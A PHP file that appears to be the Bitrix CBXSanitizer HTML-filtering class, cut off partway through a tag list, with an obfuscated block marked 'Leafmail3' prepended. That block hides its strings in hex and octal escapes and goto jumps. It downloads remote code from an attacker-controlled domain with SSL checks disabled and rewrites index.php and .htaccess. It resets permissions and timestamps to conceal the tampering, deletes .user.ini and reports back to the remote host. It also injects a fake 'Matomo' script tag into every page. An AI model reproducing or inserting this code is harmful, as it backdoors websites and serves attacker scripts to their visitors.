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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
IncludeModuleLangFile(__FILE__);
/**
* CBXSanitizer
* Class to cut all tags and attributies from html not contained in white list
*
* Example to use:
* <code>
* $Sanitizer = new CBXSanitizer;
*
* $Sanitizer->SetLevel(CBXSanitizer::SECURE_LEVEL_MIDDLE);
* or
* $Sanitizer->AddTags( array (
* 'a' = > array('href','id','style','alt'...),
* 'br' => array(),
* .... ));
*
* $Sanitizer->SanitizeHtml($html);
* </code>
*
* @version $rev 021
*/
class CBXSanitizer
{
/**
* @var All possible Sanitizer security levels
*/
const SECURE_LEVEL_CUSTOM = 0;
const SECURE_LEVEL_HIGH = 1;
const SECURE_LEVEL_MIDDLE = 2;
const SECURE_LEVEL_LOW = 3;
const TABLE_TOP = 0;
const TABLE_CAPT = 1;
const TABLE_GROUP = 2;
const TABLE_ROWS = 3;
const TABLE_COLS = 4;
/**
* @deprecated For compability only will be erased next versions
* @var mix
*/
protected static $arOldTags = array();
protected $arHtmlTags = array();
protected $bHtmlSpecChars = true;
protected $bDelSanitizedTags = true;
protected $bDoubleEncode = true;
protected $secLevel = self::SECURE_LEVEL_HIGH;
protected $additionalAttrs = array();
protected $arNoClose = array(
'br','hr','img','area','base',
'basefont','col','frame','input',
'isindex','link','meta','param'
);
protected $localAlph;
protected $arTableTags = array(
'table' => self::TABLE_TOP,
'caption' => self::TABLE_CAPT,
'thead' => self::TABLE_GROUP,
'tfoot' => self::TABLE_GROUP,
'tbody' => self::TABLE_GROUP,
'tr' => self::TABLE_ROWS,
'th' => self::TABLE_COLS,
'td' => self::TABLE_COLS
);
public function __construct()
{
if(SITE_CHARSET == "UTF-8")
{
$this->localAlph="\p{L}".GetMessage("SNT_SYMB_NONE_LETTERS");
}
elseif(LANGUAGE_ID != "en")
{
$this->localAlph=GetMessage("SNT_SYMB");
}
else
{
$this->localAlph="";
}
$this->localAlph .= '\\x80-\\xFF';
}
/**
* Allow additional attributes in html.
* @param array $attrs Additional attrs
* Example:
$sanitizer->allowAttributes(array(
'aria-label' => array(
'tag' => function($tag)
{
return ($tag == 'div');
},
'content' => function($value)
{
return !preg_match("#[^\\s\\w\\-\\#\\.;]#i" . BX_UTF_PCRE_MODIFIER, $value);
}
)
));
* @return void
*/
public function allowAttributes(array $attrs)
{
foreach ($attrs as $code => $item)
{
if (
isset($item['tag']) && is_callable($item['tag']) &&
isset($item['content']) && is_callable($item['content'])
)
{
$this->additionalAttrs[$code] = $item;
}
}
}
/**
* Adds HTML tags and attributes to white list
* @param mixed $arTags array('tagName1' = > array('attribute1','attribute2',...), 'tagName2' => ........)
* @return int count of added tags
*/
public function AddTags($arTags)
{
if(!is_array($arTags))
return false;
$counter = 0;
$this->secLevel = self::SECURE_LEVEL_CUSTOM;
foreach($arTags as $tagName => $arAttrs)
{
$tagName = strtolower($tagName);
$arAttrs = array_change_key_case($arAttrs, CASE_LOWER);
$this->arHtmlTags[$tagName] = $arAttrs;
$counter++;
}
return $counter;
}
/**
* @see AddTags()
*/
public function UpdateTags($arTags)
{
return $this->AddTags($arTags);
}
/**
* Deletes tags from white list
* @param mixed $arTagNames array('tagName1','tagname2',...)
* @return int count of deleted tags
*/
public function DelTags($arTagNames)
{
if(!is_array($arTagNames))
return false;
$this->secLevel = self::SECURE_LEVEL_CUSTOM;
$arTmp = array();
$counter = 0;
foreach ($this->arHtmlTags as $tagName => $arAttrs)
foreach ($arTagNames as $delTagName)
if(strtolower($delTagName) != $tagName)
$arTmp[$tagName] = $arAttrs;
else
$counter++;
$this->arHtmlTags = $arTmp;
return $counter;
}
public function DeleteAttributes(array $arDeleteAttrs)
{
$this->secLevel = self::SECURE_LEVEL_CUSTOM;
$arResultTags = array();
foreach ($this->arHtmlTags as $tagName => $arAttrs)
{
$arResultTags[$tagName] = array_diff($arAttrs, $arDeleteAttrs);
}
$this->arHtmlTags = $arResultTags;
}
/**
* Deletes all tags from white list
*/
public function DelAllTags()
{
$this->secLevel = self::SECURE_LEVEL_CUSTOM;
$this->arHtmlTags = array();
}
/**
* If is turned off Sanitizer will not encode existing html entities,
* in text blocks.
* The default is to convert everything.
* http://php.net/manual/ru/function.htmlspecialchars.php (double_encode)
* @param bool $bApply true|false
*/
public function ApplyDoubleEncode($bApply=true)
{
if($bApply)
$this->bDoubleEncode = true;
else
$this->bDoubleEncode = false;
}
/**
* Apply or not function htmlspecialchars to filtered tags and text
* !WARNING! if DeleteSanitizedTags = false and ApplyHtmlSpecChars = false
* html will not be sanitized!
* @param bool $bApply true|false
*/
public function ApplyHtmlSpecChars($bApply=true)
{
if($bApply)
$this->bHtmlSpecChars = true;
else
$this->bHtmlSpecChars = false;
}
/**
* Delete or not filtered tags
* !WARNING! if DeleteSanitizedTags = false and ApplyHtmlSpecChars = false
* html will not be sanitized!
* @param bool $bApply true|false
*/
public function DeleteSanitizedTags($bApply=true)
{
if($bApply)
$this->bDelSanitizedTags = true;
else
$this->bDelSanitizedTags = false;
}
/**
* Sets security level from predefined
* @param int $secLevel { CBXSanitizer::SECURE_LEVEL_HIGH
* | CBXSanitizer::SECURE_LEVEL_MIDDLE
* | CBXSanitizer::SECURE_LEVEL_LOW }
*/
public function SetLevel($secLevel)
{
if($secLevel!=self::SECURE_LEVEL_HIGH && $secLevel!=self::SECURE_LEVEL_MIDDLE && $secLevel!=self::SECURE_LEVEL_LOW)
$secLevel=self::SECURE_LEVEL_HIGH;
switch ($secLevel)
{
case self::SECURE_LEVEL_HIGH:
$arTags = array(
'b' => array(),
'br' => array(),
'big' => array(),
'blockquote' => array(),
'code' => array(),
'del' => array(),
'dt' => array(),
'dd' => array(),
'font' => array(),
'h1' => array(),
'h2' => array(),
'h3' => array(),
'h4' => array(),
'h5' => array(),
'h6' => array(),
'hr' => array(),
'i' => array(),
'ins' => array(),
'li' => array(),
'ol' => array(),
'p' => array(),
'small' => array(),
's' => array(),
'sub' => array(),
'sup' => array(),
'strong' => array(),
